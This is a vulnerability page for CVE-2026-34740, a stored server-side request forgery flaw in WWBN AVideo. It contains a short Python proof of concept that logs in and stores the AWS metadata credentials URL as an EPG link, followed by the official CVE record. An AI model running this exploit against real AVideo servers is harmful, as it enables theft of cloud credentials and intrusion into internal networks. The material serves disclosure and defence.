CVE-2026-34740

import requests # Conceptual PoC for CVE-2026-34740 # Requires authentication and upload permissions target_host = "http://avideo-target.com" login_url = f"{target_host}/userLogin" epg_save_url = f"{target_host}/objects/epgLinkSave.json" # 1. Authenticate session = requests.Session() creds = {"user": "attacker", "pass": "password"} session.post(login_url, data=creds) # 2. Exploit SSRF by storing a malicious URL # Targeting internal metadata service (e.g., AWS) malicious_url = "http://169.254.169.254/latest/meta-data/iam/security-credentials/" payload = { "url": malicious_url, "title": "Internal Scan" } response = session.post(epg_save_url, data=payload) if response.status_code == 200: print("[+] Malicious EPG link stored successfully.") print("[+] SSRF triggers when the EPG page is viewed by any user.") else: print("[-] Failed to store payload.")

{"cve": {"id": "CVE-2026-34740", "sourceIdentifier": "[email protected]", "published": "2026-03-31T21:16:32.713", "lastModified": "2026-04-01T18:43:31.743", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "WWBN AVideo is an open source video platform. In versions 26.0 and prior, the EPG (Electronic Program Guide) link feature in AVideo allows authenticated users with upload permissions to store arbitrary URLs that the server fetches on every EPG page visit. The URL is validated only with PHP's FILTER_VALIDATE_URL, which accepts internal network addresses. Although AVideo has a dedicated isSSRFSafeURL() function for preventing SSRF, it is not called in this code path. This results in a stored server-side request forgery vulnerability that can be used to scan internal networks, access cloud metadata services, and interact with internal services. At time of publication, there are no publicly available patches."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-918"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:wwbn:avideo:*:*:*:*:*:*:*:*", "versionEndIncluding": "26.0", "matchCriteriaId": "774C24F1-9D26-484F-B931-1DA107C8F588"}]}]}], "references": [{"url": "https://github.com/WWBN/AVideo/security/advisories/GHSA-x5vx-vrpf-r45f", "source": "[email protected]", "tags": ["Exploit", "Vendor Advisory"]}]}}